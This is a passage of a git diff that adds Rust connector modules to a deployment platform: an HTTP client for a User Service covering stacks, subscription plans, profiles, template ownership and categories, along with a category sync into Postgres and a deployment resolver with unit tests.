connectors::user_service::mock::MockUserServiceConnector; +//! +//! #[tokio::test] +//! async fn test_deploy_without_http() { +//! let connector = Arc::new(MockUserServiceConnector); +//! // Test route logic without external API calls +//! } +//! } +//! ``` + +pub mod admin_service; +pub mod app_service_catalog; +pub mod config; +pub mod dockerhub_service; +pub mod errors; +pub mod hetzner; +pub mod install_service; +pub mod user_service; + +pub use admin_service::{ + extract_bearer_token, parse_jwt_claims, user_from_jwt_claims, validate_jwt_expiration, +}; +pub use config::{ + ConnectorConfig, EventsConfig, InstallServiceConfig, PaymentServiceConfig, UserServiceConfig, +}; +pub use errors::ConnectorError; +pub use hetzner::{ + HetznerCloudClient, HetznerCloudConnector, HetznerSnapshot, HetznerSnapshotTarget, +}; +pub use install_service::{InstallServiceClient, InstallServiceConnector}; +pub use user_service::{ + CategoryInfo, DeploymentValidationError, DeploymentValidator, MarketplaceWebhookPayload, + MarketplaceWebhookSender, PlanDefinition, ProductInfo, ResolvedDeploymentInfo, StackResponse, + UserPlanInfo, UserProduct, UserProfile, UserServiceClient, UserServiceConnector, + UserServiceDeploymentResolver, WebhookResponse, WebhookSenderConfig, +}; + +// Re-export init functions for convenient access +pub use app_service_catalog::{ + fetch_catalog as fetch_app_service_catalog, resolve_server_capacity, ServerCapacity, +}; +pub use dockerhub_service::init as init_dockerhub; +pub use dockerhub_service::{ + DockerHubClient, DockerHubConnector, NamespaceSummary, RepositorySummary, TagSummary, +}; +pub use install_service::init as init_install_service; +pub use user_service::init as init_user_service; diff --git a/stacker/stacker/src/connectors/user_service/app.rs b/stacker/stacker/src/connectors/user_service/app.rs new file mode 100644 index 0000000..fb8be88 --- /dev/null +++ b/stacker/stacker/src/connectors/user_service/app.rs @@ -0,0 +1,220 @@ +use reqwest::StatusCode; +use serde::{Deserialize, Serialize}; + +use crate::connectors::errors::ConnectorError; + +use super::UserServiceClient; + +#[derive(Debug, Clone, Serialize, Deserialize)] +pub struct Application { + #[serde(rename = "_id")] + pub id: Option, + pub name: Option, + pub code: Option, + pub description: Option, + pub category: Option, + pub docker_image: Option, + pub default_port: Option, + /// Ansible role name for template rendering + #[serde(default)] + pub role: Option, + /// Default environment variables from app_var table + #[serde(default)] + pub default_env: Option, + /// Default ports configuration from app table + #[serde(default)] + pub default_ports: Option, + /// Default config file templates from app_var (with attachment_path) + #[serde(default)] + pub default_config_files: Option, +} + +impl UserServiceClient { + /// Search available applications/stacks + pub async fn search_applications( + &self, + bearer_token: &str, + query: Option<&str>, + ) -> Result, ConnectorError> { + let mut url = format!("{}/catalog?kind=app", self.base_url); + if let Some(q) = query { + url.push_str("&q="); + url.push_str(&urlencoding::encode(q)); + } + + let response = self + .http_client + .get(&url) + .header("Authorization", format!("Bearer {}", bearer_token)) + .send() + .await + .map_err(ConnectorError::from)?; + + if response.status() == StatusCode::NOT_FOUND { + return self.search_stack_view(bearer_token, query).await; + } + + if !response.status().is_success() { + let status = response.status().as_u16(); + let body = response.text().await.unwrap_or_default(); + return Err(ConnectorError::HttpError(format!( + "User Service error ({}): {}", + status, body + ))); + } + + let wrapper: serde_json::Value = response + .json() + .await + .map_err(|e| ConnectorError::InvalidResponse(e.to_string()))?; + + let items = wrapper + .get("_items") + .and_then(|v| v.as_array()) + .cloned() + .unwrap_or_default(); + + let mut apps: Vec = items + .into_iter() + .filter_map(application_from_catalog) + .collect(); + + if let Some(q) = query { + let q = q.to_lowercase(); + apps.retain(|app| { + let name = app.name.as_deref().unwrap_or("").to_lowercase(); + let code = app.code.as_deref().unwrap_or("").to_lowercase(); + name.contains(&q) || code.contains(&q) + }); + } + + Ok(apps) + } + + /// Fetch enriched app catalog data from /applications/catalog endpoint. + /// Returns apps with correct Docker images and default env/config from app + app_var tables. + /// Falls back to search_applications() if the catalog endpoint is not available. + pub async fn fetch_app_catalog( + &self, + bearer_token: &str, + code: &str, + ) -> Result, ConnectorError> { + let url = format!( + "{}/applications/catalog/{}", + self.base_url, + urlencoding::encode(code) + ); + + tracing::info!("Fetching app catalog for code={} from {}", code, url); + + let response = match self + .http_client + .get(&url) + .header("Authorization", format!("Bearer {}", bearer_token)) + .send() + .await + { + Ok(resp) => resp, + Err(e) => { + tracing::warn!( + "Catalog endpoint transport error for code={}: {}, falling back to search_applications", + code, e + ); + return self.fallback_search_by_code(bearer_token, code).await; + } + }; + + if response.status() == StatusCode::NOT_FOUND { + tracing::info!( + "Catalog endpoint returned 404 for code={}, falling back to search_applications", + code + ); + return self.fallback_search_by_code(bearer_token, code).await; + } + + if !response.status().is_success() { + let status = response.status().as_u16(); + let body = response.text().await.unwrap_or_default(); + tracing::warn!( + "Catalog endpoint error ({}) for code={}: {}, falling back to search_applications", + status, + code, + body + ); + return self.fallback_search_by_code(bearer_token, code).await; + } + + match response.json::().await { + Ok(app) => Ok(Some(app)), + Err(e) => { + tracing::warn!( + "Catalog endpoint response parse error for code={}: {}, falling back to search_applications", + code, e + ); + self.fallback_search_by_code(bearer_token, code).await + } + } + } + + /// Helper: fall back to search_applications and find by exact code match. + async fn fallback_search_by_code( + &self, + bearer_token: &str, + code: &str, + ) -> Result, ConnectorError> { + let apps = self.search_applications(bearer_token, Some(code)).await?; + let code_lower = code.to_lowercase(); + Ok(apps.into_iter().find(|app| { + app.code + .as_deref() + .map(|c| c.to_lowercase() == code_lower) + .unwrap_or(false) + })) + } +} + +fn application_from_catalog(item: serde_json::Value) -> Option { + let kind = item.get("kind").and_then(|v| v.as_str()).unwrap_or(""); + if kind != "app" { + return None; + } + + let id = item.get("_id").and_then(|v| v.as_i64()); + let name = item + .get("name") + .and_then(|v| v.as_str()) + .map(|s| s.to_string()); + let code = item + .get("code") + .and_then(|v| v.as_str()) + .map(|s| s.to_string()); + let description = item + .get("description") + .and_then(|v| v.as_str()) + .map(|s| s.to_string()); + let category = item + .get("categories") + .and_then(|v| v.as_array()) + .and_then(|arr| arr.first()) + .and_then(|v| v.as_str()) + .map(|s| s.to_string()) + .or_else(|| { + item.get("app_type") + .and_then(|v| v.as_str()) + .map(|s| s.to_string()) + }); + + Some(Application { + id, + name, + code, + description, + category, + docker_image: None, + default_port: None, + role: None, + default_env: None, + default_ports: None, + default_config_files: None, + }) +} diff --git a/stacker/stacker/src/connectors/user_service/category_sync.rs b/stacker/stacker/src/connectors/user_service/category_sync.rs new file mode 100644 index 0000000..e0d713d --- /dev/null +++ b/stacker/stacker/src/connectors/user_service/category_sync.rs @@ -0,0 +1,87 @@ +/// Category synchronization from User Service to local Stacker mirror +/// +/// Implements automatic category sync on startup to keep local category table +/// in sync with User Service as the source of truth. +use sqlx::PgPool; +use std::sync::Arc; +use tracing::Instrument; + +use super::{CategoryInfo, UserServiceConnector}; + +/// Sync categories from User Service to local database +/// +/// Fetches categories from User Service and upserts them into local stack_category table. +/// This maintains a local mirror for fast lookups and offline capability. +/// +/// # Arguments +/// * `connector` - User Service connector to fetch categories from +/// * `pool` - Database connection pool for local upsert +/// +/// # Returns +/// Number of categories synced, or error if sync fails +pub async fn sync_categories_from_user_service( + connector: Arc, + pool: &PgPool, +) -> Result { + let span = tracing::info_span!("sync_categories_from_user_service"); + + // Fetch categories from User Service + let categories = connector + .get_categories() + .instrument(span.clone()) + .await + .map_err(|e| format!("Failed to fetch categories from User Service: {:?}", e))?; + + tracing::info!("Fetched {} categories from User Service", categories.len()); + + if categories.is_empty() { + tracing::warn!("No categories returned from User Service"); + return Ok(0); + } + + // Upsert categories to local database + let synced_count = upsert_categories(pool, categories).instrument(span).await?; + + tracing::info!( + "Successfully synced {} categories from User Service to local mirror", + synced_count + ); + + Ok(synced_count) +} + +/// Upsert categories into local database +async fn upsert_categories(pool: &PgPool, categories: Vec) -> Result { + let mut synced_count = 0; + + for category in categories { + // Use INSERT ... ON CONFLICT DO UPDATE to upsert + let result = sqlx::query( + r#" + INSERT INTO stack_category (id, name, title, metadata) + VALUES ($1, $2, $3, $4) + ON CONFLICT (id) DO UPDATE + SET name = EXCLUDED.name, + title = EXCLUDED.title, + metadata = EXCLUDED.metadata + "#, + ) + .bind(category.id) + .bind(&category.name) + .bind(&category.title) + .bind(serde_json::json!({"priority": category.priority})) + .execute(pool) + .await + .map_err(|e| { + tracing::error!("Failed to upsert category {}: {:?}", category.name, e); + format!("Failed to upsert category: {}", e) + })?; + + if result.rows_affected() > 0 { + synced_count += 1; + tracing::debug!("Synced category: {} ({})", category.name, category.title); + } + } + + Ok(synced_count) +} diff --git a/stacker/stacker/src/connectors/user_service/client.rs b/stacker/stacker/src/connectors/user_service/client.rs new file mode 100644 index 0000000..df6d55b --- /dev/null +++ b/stacker/stacker/src/connectors/user_service/client.rs @@ -0,0 +1,600 @@ +use crate::connectors::config::UserServiceConfig; +use crate::connectors::errors::ConnectorError; + +use serde::{Deserialize, Serialize}; +use tracing::Instrument; +use uuid::Uuid; + +use super::connector::UserServiceConnector; +use super::types::{ + CategoryInfo, PlanDefinition, ProductInfo, StackResponse, UserPlanInfo, UserProfile, +}; +use super::utils::is_plan_higher_tier; + +/// HTTP-based User Service client +pub struct UserServiceClient { + pub(crate) base_url: String, + pub(crate) http_client: reqwest::Client, + pub(crate) auth_token: Option, + pub(crate) retry_attempts: usize, +} + +impl UserServiceClient { + /// Create new User Service client + pub fn new(config: UserServiceConfig) -> Self { + let timeout = std::time::Duration::from_secs(config.timeout_secs); + let http_client = reqwest::Client::builder() + .timeout(timeout) + .build() + .expect("Failed to create HTTP client"); + + Self { + base_url: config.base_url, + http_client, + auth_token: config.auth_token, + retry_attempts: config.retry_attempts, + } + } + + /// Create a client from a base URL with default config (used by MCP tools) + pub fn new_public(base_url: &str) -> Self { + let mut config = UserServiceConfig::default(); + config.base_url = base_url.trim_end_matches('/').to_string(); + config.auth_token = None; + Self::new(config) + } + + /// Build authorization header if token configured + pub(crate) fn auth_header(&self) -> Option { + self.auth_token + .as_ref() + .map(|token| format!("Bearer {}", token)) + } + + /// Retry helper with exponential backoff + #[allow(dead_code)] + pub(crate) async fn retry_request(&self, mut f: F) -> Result + where + F: FnMut() -> futures::future::BoxFuture<'static, Result>, + { + let mut attempt = 0; + loop { + match f().await { + Ok(result) => return Ok(result), + Err(err) => { + attempt += 1; + if attempt >= self.retry_attempts { + return Err(err); + } + // Exponential backoff: 100ms, 200ms, 400ms, etc. + let backoff = std::time::Duration::from_millis(100 * 2_u64.pow(attempt as u32)); + tokio::time::sleep(backoff).await; + } + } + } + } +} + +#[async_trait::async_trait] +impl UserServiceConnector for UserServiceClient { + async fn create_stack_from_template( + &self, + marketplace_template_id: &Uuid, + user_id: &str, + template_version: &str, + name: &str, + stack_definition: serde_json::Value, + ) -> Result { + let span = tracing::info_span!( + "user_service_create_stack", + template_id = %marketplace_template_id, + user_id = %user_id + ); + + let url = format!("{}/api/1.0/stacks", self.base_url); + let payload = serde_json::json!({ + "name": name, + "marketplace_template_id": marketplace_template_id.to_string(), + "is_from_marketplace": true, + "template_version": template_version, + "stack_definition": stack_definition, + "user_id": user_id, + }); + + let mut req = self.http_client.post(&url).json(&payload); + + if let Some(auth) = self.auth_header() { + req = req.header("Authorization", auth); + } + + let resp = req + .send() + .instrument(span) + .await + .and_then(|resp| resp.error_for_status()) + .map_err(|e| { + tracing::error!("create_stack error: {:?}", e); + ConnectorError::HttpError(format!("Failed to create stack: {}", e)) + })?; + + let text = resp + .text() + .await + .map_err(|e| ConnectorError::HttpError(e.to_string()))?; + serde_json::from_str::(&text) + .map_err(|_| ConnectorError::InvalidResponse(text)) + } + + async fn get_stack( + &self, + stack_id: i32, + user_id: &str, + ) -> Result { + let span = + tracing::info_span!("user_service_get_stack", stack_id = stack_id, user_id = %user_id); + + let url = format!("{}/api/1.0/stacks/{}", self.base_url, stack_id); + let mut req = self.http_client.get(&url); + + if let Some(auth) = self.auth_header() { + req = req.header("Authorization", auth); + } + + let resp = req.send().instrument(span).await.map_err(|e| { + if e.status().map_or(false, |s| s == 404) { + ConnectorError::NotFound(format!("Stack {} not found", stack_id)) + } else { + ConnectorError::HttpError(format!("Failed to get stack: {}", e)) + } + })?; + + if resp.status() == 404 { + return Err(ConnectorError::NotFound(format!( + "Stack {} not found", + stack_id + ))); + } + + let text = resp + .text() + .await + .map_err(|e| ConnectorError::HttpError(e.to_string()))?; + serde_json::from_str::(&text) + .map_err(|_| ConnectorError::InvalidResponse(text)) + } + + async fn list_stacks(&self, user_id: &str) -> Result, ConnectorError> { + let span = tracing::info_span!("user_service_list_stacks", user_id = %user_id); + + let url = format!("{}/api/1.0/stacks", self.base_url); + let mut req = self.http_client.post(&url); + + if let Some(auth) = self.auth_header() { + req = req.header("Authorization", auth); + } + + #[derive(Serialize)] + struct WhereFilter<'a> { + user_id: &'a str, + } + + #[derive(Serialize)] + struct ListRequest<'a> { + r#where: WhereFilter<'a>, + } + + let body = ListRequest { + r#where: WhereFilter { user_id }, + }; + + #[derive(Deserialize)] + struct ListResponse { + _items: Vec, + } + + let resp = req + .json(&body) + .send() + .instrument(span) + .await + .and_then(|resp| resp.error_for_status()) + .map_err(|e| { + tracing::error!("list_stacks error: {:?}", e); + ConnectorError::HttpError(format!("Failed to list stacks: {}", e)) + })?; + + let text = resp + .text() + .await + .map_err(|e| ConnectorError::HttpError(e.to_string()))?; + serde_json::from_str::(&text) + .map(|r| r._items) + .map_err(|_| ConnectorError::InvalidResponse(text)) + } + + async fn user_has_plan( + &self, + user_id: &str, + required_plan_name: &str, + user_token: Option<&str>, + ) -> Result { + // "free" plan never requires a subscription check + if required_plan_name.to_lowercase() == "free" { + return Ok(true); + } + + let span = tracing::info_span!( + "user_service_check_plan", + user_id = %user_id, + required_plan = %required_plan_name + ); + + // Get user's current plan via /oauth_server/api/me endpoint + let url = format!("{}/oauth_server/api/me", self.base_url); + let mut req = self.http_client.get(&url); + + // Prefer the user's own token; fall back to service account + let auth = user_token + .map(|t| format!("Bearer {}", t)) + .or_else(|| self.auth_header()); + if let Some(auth) = auth { + req = req.header("Authorization", auth); + } + + #[derive(serde::Deserialize)] + struct UserMeResponse { + #[serde(default)] + plan: Option, + } + + #[derive(serde::Deserialize)] + struct PlanInfo { + name: Option, + } + + let resp = req.send().instrument(span.clone()).await.map_err(|e| { + tracing::error!("user_has_plan error: {:?}", e); + ConnectorError::HttpError(format!("Failed to check plan: {}", e)) + })?; + + match resp.status().as_u16() { + 200 => { + let text = resp + .text() + .await + .map_err(|e| ConnectorError::HttpError(e.to_string()))?; + serde_json::from_str::(&text) + .map(|response| { + let user_plan = response.plan.and_then(|p| p.name).unwrap_or_default(); + is_plan_higher_tier(&user_plan, required_plan_name) + }) + .map_err(|_| ConnectorError::InvalidResponse(text)) + } + 401 | 403 => { + tracing::debug!(parent: &span, "User not authenticated or authorized"); + Ok(false) + } + 404 => { + tracing::debug!(parent: &span, "User or plan not found"); + Ok(false) + } + _ => Err(ConnectorError::HttpError(format!( + "Unexpected status code: {}", + resp.status() + ))), + } + } + + async fn get_user_plan(&self, user_id: &str) -> Result { + let span = tracing::info_span!("user_service_get_plan", user_id = %user_id); + + // Use /oauth_server/api/me endpoint to get user's current plan via OAuth + let url = format!("{}/oauth_server/api/me", self.base_url); + let mut req = self.http_client.get(&url); + + if let Some(auth) = self.auth_header() { + req = req.header("Authorization", auth); + } + + #[derive(serde::Deserialize)] + struct PlanInfoResponse { + #[serde(default)] + plan: Option, + #[serde(default)] + plan_name: Option, + #[serde(default)] + user_id: Option, + #[serde(default)] + description: Option, + #[serde(default)] + active: Option, + } + + let resp = req + .send() + .instrument(span) + .await + .and_then(|resp| resp.error_for_status()) + .map_err(|e| { + tracing::error!("get_user_plan error: {:?}", e); + ConnectorError::HttpError(format!("Failed to get user plan: {}", e)) + })?; + + let text = resp + .text() + .await + .map_err(|e| ConnectorError::HttpError(e.to_string()))?; + serde_json::from_str::(&text) + .map(|info| UserPlanInfo { + user_id: info.user_id.unwrap_or_else(|| user_id.to_string()), + plan_name: info.plan.or(info.plan_name).unwrap_or_default(), + plan_description: info.description, + tier: None, + active: info.active.unwrap_or(true), + started_at: None, + expires_at: None, + }) + .map_err(|_| ConnectorError::InvalidResponse(text)) + } + + async fn list_available_plans(&self) -> Result, ConnectorError> { + let span = tracing::info_span!("user_service_list_plans"); + + // Query plan_description via Eve REST API (PostgREST endpoint) + let url = format!("{}/api/1.0/plan_description", self.base_url); + let mut req = self.http_client.get(&url); + + if let Some(auth) = self.auth_header() { + req = req.header("Authorization", auth); + } + + #[derive(serde::Deserialize)] + struct EveResponse { + #[serde(default)] + _items: Vec, + } + + let resp = req + .send() + .instrument(span) + .await + .and_then(|resp| resp.error_for_status()) + .map_err(|e| { + tracing::error!("list_available_plans error: {:?}", e); + ConnectorError::HttpError(format!("Failed to list plans: {}", e)) + })?; + + let text = resp + .text() + .await + .map_err(|e| ConnectorError::HttpError(e.to_string()))?; + + // Try Eve format first, fallback to direct array + if let Ok(eve_resp) = serde_json::from_str::(&text) { + Ok(eve_resp._items) + } else { + serde_json::from_str::>(&text) + .map_err(|_| ConnectorError::InvalidResponse(text)) + } + } + + async fn get_user_profile(&self, user_token: &str) -> Result { + let span = tracing::info_span!("user_service_get_profile"); + + // Query /oauth_server/api/me with user's token + let url = format!("{}/oauth_server/api/me", self.base_url); + let req = self + .http_client + .get(&url) + .header("Authorization", format!("Bearer {}", user_token)); + + let resp = req.send().instrument(span.clone()).await.map_err(|e| { + tracing::error!("get_user_profile error: {:?}", e); + ConnectorError::HttpError(format!("Failed to get user profile: {}", e)) + })?; + + if resp.status() == 401 { + return Err(ConnectorError::Unauthorized( + "Invalid or expired user token".to_string(), + )); + } + + let text = resp + .text() + .await + .map_err(|e| ConnectorError::HttpError(e.to_string()))?; + serde_json::from_str::(&text).map_err(|e| { + tracing::error!("Failed to parse user profile: {:?}", e); + ConnectorError::InvalidResponse(text) + }) + } + + async fn get_template_product( + &self, + stack_template_id: i32, + ) -> Result, ConnectorError> { + let span = tracing::info_span!( + "user_service_get_template_product", + template_id = stack_template_id + ); + + // Query /api/1.0/products?external_id={template_id}&product_type=template + let url = format!( + "{}/api/1.0/products?where={{\"external_id\":{},\"product_type\":\"template\"}}", + self.base_url, stack_template_id + ); + + let mut req = self.http_client.get(&url); + + if let Some(auth) = self.auth_header() { + req = req.header("Authorization", auth); + } + + #[derive(serde::Deserialize)] + struct ProductsResponse { + #[serde(default)] + _items: Vec, + } + + let resp = req.send().instrument(span).await.map_err(|e| { + tracing::error!("get_template_product error: {:?}", e); + ConnectorError::HttpError(format!("Failed to get template product: {}", e)) + })?; + + let text = resp + .text() + .await + .map_err(|e| ConnectorError::HttpError(e.to_string()))?; + + // Try Eve format first (with _items wrapper) + if let Ok(products_resp) = serde_json::from_str::(&text) { + Ok(products_resp._items.into_iter().next()) + } else { + // Try direct array format + serde_json::from_str::>(&text) + .map(|mut items| items.pop()) + .map_err(|_| ConnectorError::InvalidResponse(text)) + } + } + + async fn user_owns_template( + &self, + user_token: &str, + stack_template_id: &str, + ) -> Result { + let span = tracing::info_span!( + "user_service_check_template_ownership", + template_id = stack_template_id + ); + + // Get user profile (includes products list) + let profile = self + .get_user_profile(user_token) + .instrument(span.clone()) + .await?; + + // Try to parse stack_template_id as i32 first (for backward compatibility with integer IDs) + let owns_template = if let Ok(template_id_int) = stack_template_id.parse::() { + profile + .products + .iter() + .any(|p| p.product_type == "template" && p.external_id == Some(template_id_int)) + } else { + // If not i32, try comparing as string (UUID or slug) + profile.products.iter().any(|p| { + if p.product_type != "template" { + return false; + } + // Compare with code (slug) + if p.code == stack_template_id { + return true; + } + // Compare with id if available + if let Some(id) = &p.id { + if id == stack_template_id { + return true; + } + } + false + }) + }; + + tracing::info!( + owned = owns_template, + "User template ownership check complete" + ); + + Ok(owns_template) + } + + async fn get_categories(&self) -> Result, ConnectorError> { + let span = tracing::info_span!("user_service_get_categories"); + let url = format!("{}/api/1.0/category", self.base_url); + + let mut attempt = 0; + loop { + attempt += 1; + + let mut req = self.http_client.get(&url); + + if let Some(auth) = self.auth_header() { + req = req.header("Authorization", auth); + } + + match req.send().instrument(span.clone()).await { + Ok(resp) => match resp.status().as_u16() { + 200 => { + let text = resp + .text() + .await + .map_err(|e| ConnectorError::HttpError(e.to_string()))?; + + // User Service returns {_items: [...]} + #[derive(Deserialize)] + struct CategoriesResponse { + #[serde(rename = "_items")] + items: Vec, + } + + return serde_json::from_str::(&text) + .map(|resp| resp.items) + .map_err(|e| { + tracing::error!("Failed to parse categories response: {:?}", e); + ConnectorError::InvalidResponse(text) + }); + } + 404 => { + return Err(ConnectorError::NotFound( + "Category endpoint not found".to_string(), + )); + } + 500..=599 => { + if attempt < self.retry_attempts { + let backoff = std::time::Duration::from_millis( + 100 * 2_u64.pow((attempt - 1) as u32), + ); + tracing::warn!( + "User Service categories request failed with {}, retrying after {:?}", + resp.status(), + backoff + ); + tokio::time::sleep(backoff).await; + continue; + } + return Err(ConnectorError::ServiceUnavailable(format!( + "User Service returned {}: get categories failed", + resp.status() + ))); + } + status => { + return Err(ConnectorError::HttpError(format!( + "Unexpected status code: {}", + status + ))); + } + }, + Err(e) if e.is_timeout() => { + if attempt < self.retry_attempts { + let backoff = + std::time::Duration::from_millis(100 * 2_u64.pow((attempt - 1) as u32)); + tracing::warn!( + "User Service get categories timeout, retrying after {:?}", + backoff + ); + tokio::time::sleep(backoff).await; + continue; + } + return Err(ConnectorError::ServiceUnavailable( + "Get categories timeout".to_string(), + )); + } + Err(e) => { + return Err(ConnectorError::HttpError(format!( + "Get categories request failed: {}", + e + ))); + } + } + } + } +} diff --git a/stacker/stacker/src/connectors/user_service/connector.rs b/stacker/stacker/src/connectors/user_service/connector.rs new file mode 100644 index 0000000..e614ef9 --- /dev/null +++ b/stacker/stacker/src/connectors/user_service/connector.rs @@ -0,0 +1,71 @@ +use uuid::Uuid; + +use super::types::{ + CategoryInfo, PlanDefinition, ProductInfo, StackResponse, UserPlanInfo, UserProfile, +}; +use crate::connectors::errors::ConnectorError; + +/// Trait for User Service integration +/// Allows mocking in tests and swapping implementations +#[async_trait::async_trait] +pub trait UserServiceConnector: Send + Sync { + /// Create a new stack in User Service from a marketplace template + async fn create_stack_from_template( + &self, + marketplace_template_id: &Uuid, + user_id: &str, + template_version: &str, + name: &str, + stack_definition: serde_json::Value, + ) -> Result; + + /// Fetch stack details from User Service + async fn get_stack( + &self, + stack_id: i32, + user_id: &str, + ) -> Result; + + /// List user's stacks + async fn list_stacks(&self, user_id: &str) -> Result, ConnectorError>; + + /// Check if user has access to a specific plan + /// Returns true if user's current plan allows access to required_plan_name. + /// Pass `user_token` to authenticate as the user (preferred); falls back to + /// the service account token when `None`. + async fn user_has_plan( + &self, + user_id: &str, + required_plan_name: &str, + user_token: Option<&str>, + ) -> Result; + + /// Get user's current plan information + async fn get_user_plan(&self, user_id: &str) -> Result; + + /// List all available plans that users can subscribe to + async fn list_available_plans(&self) -> Result, ConnectorError>; + + /// Get user profile with owned products list + /// Calls GET /oauth_server/api/me and returns profile with products array + async fn get_user_profile(&self, user_token: &str) -> Result; + + /// Get product information for a marketplace template + /// Calls GET /api/1.0/products?external_id={template_id}&product_type=template + async fn get_template_product( + &self, + stack_template_id: i32, + ) -> Result, ConnectorError>; + + /// Check if user owns a specific template product + /// Returns true if user has the template in their products list + async fn user_owns_template( + &self, + user_token: &str, + stack_template_id: &str, + ) -> Result; + + /// Get list of categories from User Service + /// Calls GET /api/1.0/category and returns available categories + async fn get_categories(&self) -> Result, ConnectorError>; +} diff --git a/stacker/stacker/src/connectors/user_service/deployment_resolver.rs b/stacker/stacker/src/connectors/user_service/deployment_resolver.rs new file mode 100644 index 0000000..0d20cca --- /dev/null +++ b/stacker/stacker/src/connectors/user_service/deployment_resolver.rs @@ -0,0 +1,341 @@ +//! User Service Deployment Resolver +//! +//! This module provides a deployment resolver that can fetch deployment information +//! from the User Service for legacy installations. +//! +//! Stack Builder can work without this module - it's only needed when supporting +//! legacy User Service deployments (deployment_id instead of deployment_hash). +//! +//! # Example +//! ```rust,ignore +//! use crate::services::{DeploymentIdentifier, DeploymentResolver}; +//! use crate::connectors::user_service::UserServiceDeploymentResolver; +//! +//! let resolver = UserServiceDeploymentResolver::new(&settings.user_service_url, token); +//! +//! // Works with both Stack Builder hashes and User Service IDs +//! let hash = resolver.resolve(&DeploymentIdentifier::from_id(13467)).await?; +//! ``` + +use async_trait::async_trait; + +use crate::connectors::user_service::UserServiceClient; +use crate::services::{DeploymentIdentifier, DeploymentResolveError, DeploymentResolver}; + +/// Information about a resolved deployment (for diagnosis tools) +/// Contains additional metadata from User Service beyond just the hash. +#[derive(Debug, Clone, Default)] +pub struct ResolvedDeploymentInfo { + pub deployment_hash: String, + pub status: String, + pub domain: Option, + pub server_ip: Option, + pub apps: Option>, +} + +impl ResolvedDeploymentInfo { + /// Create minimal info from just a hash (Stack Builder native) + pub fn from_hash(hash: String) -> Self { + Self { + deployment_hash: hash, + status: "unknown".to_string(), + domain: None, + server_ip: None, + apps: None, + } + } +} + +/// Deployment resolver that fetches deployment information from User Service. +/// +/// This resolver handles both: +/// - Direct hashes (Stack Builder) - returned immediately without HTTP call +/// - Installation IDs (User Service) - looked up via HTTP to User Service +/// +/// Use this when you need to support legacy deployments from User Service. +/// For Stack Builder-only deployments, use `StackerDeploymentResolver` instead. +pub struct UserServiceDeploymentResolver { + user_service_url: String, + user_token: String, +} + +impl UserServiceDeploymentResolver { + /// Create a new resolver with User Service connection info + pub fn new(user_service_url: &str, user_token: &str) -> Self { + Self { + user_service_url: user_service_url.to_string(), + user_token: user_token.to_string(), + } + } + + /// Create from configuration and token + pub fn from_context(user_service_url: &str, access_token: Option<&str>) -> Self { + Self::new(user_service_url, access_token.unwrap_or("")) + } + + /// Resolve with full deployment info (for diagnosis tools) + /// Returns deployment hash plus additional metadata if available from User Service + pub async fn resolve_with_info( + &self, + identifier: &DeploymentIdentifier, + ) -> Result { + match identifier { + DeploymentIdentifier::Hash(hash) => { + // Stack Builder deployment - minimal info (no User Service call) + Ok(ResolvedDeploymentInfo::from_hash(hash.clone())) + } + DeploymentIdentifier::InstallationId(id) => { + // Legacy installation - fetch full details from User Service + let client = UserServiceClient::new_public(&self.user_service_url); + + let installation = client + .get_installation(&self.user_token, *id) + .await + .map_err(|e| DeploymentResolveError::ServiceError(e.to_string()))?; + + let hash = installation.deployment_hash.clone().ok_or_else(|| { + DeploymentResolveError::NoHash(format!( + "Installation {} has no deployment_hash", + id + )) + })?; + + Ok(ResolvedDeploymentInfo { + deployment_hash: hash, + status: installation.status.unwrap_or_else(|| "unknown".to_string()), + domain: installation.domain, + server_ip: installation.server_ip, + apps: installation.apps, + }) + } + } + } +} + +#[async_trait] +impl DeploymentResolver for UserServiceDeploymentResolver { + async fn resolve( + &self, + identifier: &DeploymentIdentifier, + ) -> Result { + match identifier { + DeploymentIdentifier::Hash(hash) => { + // Stack Builder deployment - hash is already known + Ok(hash.clone()) + } + DeploymentIdentifier::InstallationId(id) => { + // Legacy installation - fetch from User Service + let client = UserServiceClient::new_public(&self.user_service_url); + + let installation = client + .get_installation(&self.user_token, *id) + .await + .map_err(|e| DeploymentResolveError::ServiceError(e.to_string()))?; + + installation.deployment_hash.ok_or_else(|| { + DeploymentResolveError::NoHash(format!( + "Installation {} has no deployment_hash", + id + )) + }) + } + } + } +} + +#[cfg(test)] +mod tests { + use super::*; + use crate::services::StackerDeploymentResolver; + + // ============================================================ + // UserServiceDeploymentResolver tests + // ============================================================ + + #[tokio::test] + async fn test_hash_returns_immediately() { + // Hash identifiers are returned immediately without HTTP calls + let resolver = UserServiceDeploymentResolver::new("http://unused", "unused_token"); + let id = DeploymentIdentifier::from_hash("test_hash_123"); + + let result = resolver.resolve(&id).await; + assert_eq!(result.unwrap(), "test_hash_123"); + } + + #[tokio::test] + async fn test_resolve_with_info_hash() { + let resolver = UserServiceDeploymentResolver::new("http://unused", "unused_token"); + let id = DeploymentIdentifier::from_hash("test_hash_456"); + + let result = resolver.resolve_with_info(&id).await; + let info = result.unwrap(); + + assert_eq!(info.deployment_hash, "test_hash_456"); + assert_eq!(info.status, "unknown"); // No User Service call for hash + assert!(info.domain.is_none()); + assert!(info.apps.is_none()); + } + + #[tokio::test] + async fn test_empty_hash_is_valid() { + // Edge case: empty string is technically a valid hash + let resolver = UserServiceDeploymentResolver::new("http://unused", "unused_token"); + let id = DeploymentIdentifier::from_hash(""); + + let result = resolver.resolve(&id).await; + assert_eq!(result.unwrap(), ""); + } + + #[tokio::test] + async fn test_hash_with_special_characters() { + let resolver = UserServiceDeploymentResolver::new("http://unused", "unused_token"); + let id = DeploymentIdentifier::from_hash("hash-with_special.chars/123"); + + let result = resolver.resolve(&id).await; + assert_eq!(result.unwrap(), "hash-with_special.chars/123"); + } + + // ============================================================ + // StackerDeploymentResolver tests (native, no external deps) + // ============================================================ + + #[tokio::test] + async fn test_stacker_resolver_hash_success() { + let resolver = StackerDeploymentResolver::new(); + let id = DeploymentIdentifier::from_hash("native_hash"); + + let result = resolver.resolve(&id).await; + assert_eq!(result.unwrap(), "native_hash"); + } + + #[tokio::test] + async fn test_stacker_resolver_rejects_installation_id() { + // StackerDeploymentResolver doesn't support installation IDs + let resolver = StackerDeploymentResolver::new(); + let id = DeploymentIdentifier::from_id(12345); + + let result = resolver.resolve(&id).await; + assert!(result.is_err()); + + let err = result.unwrap_err(); + match err { + DeploymentResolveError::NotSupported(msg) => { + assert!(msg.contains("12345")); + assert!(msg.contains("User Service")); + } + _ => panic!("Expected NotSupported error, got {:?}", err), + } + } + + // ============================================================ + // DeploymentIdentifier tests + // ============================================================ + + #[test] + fn test_identifier_from_hash() { + let id = DeploymentIdentifier::from_hash("abc123"); + assert!(id.is_hash()); + assert!(!id.requires_resolution()); + 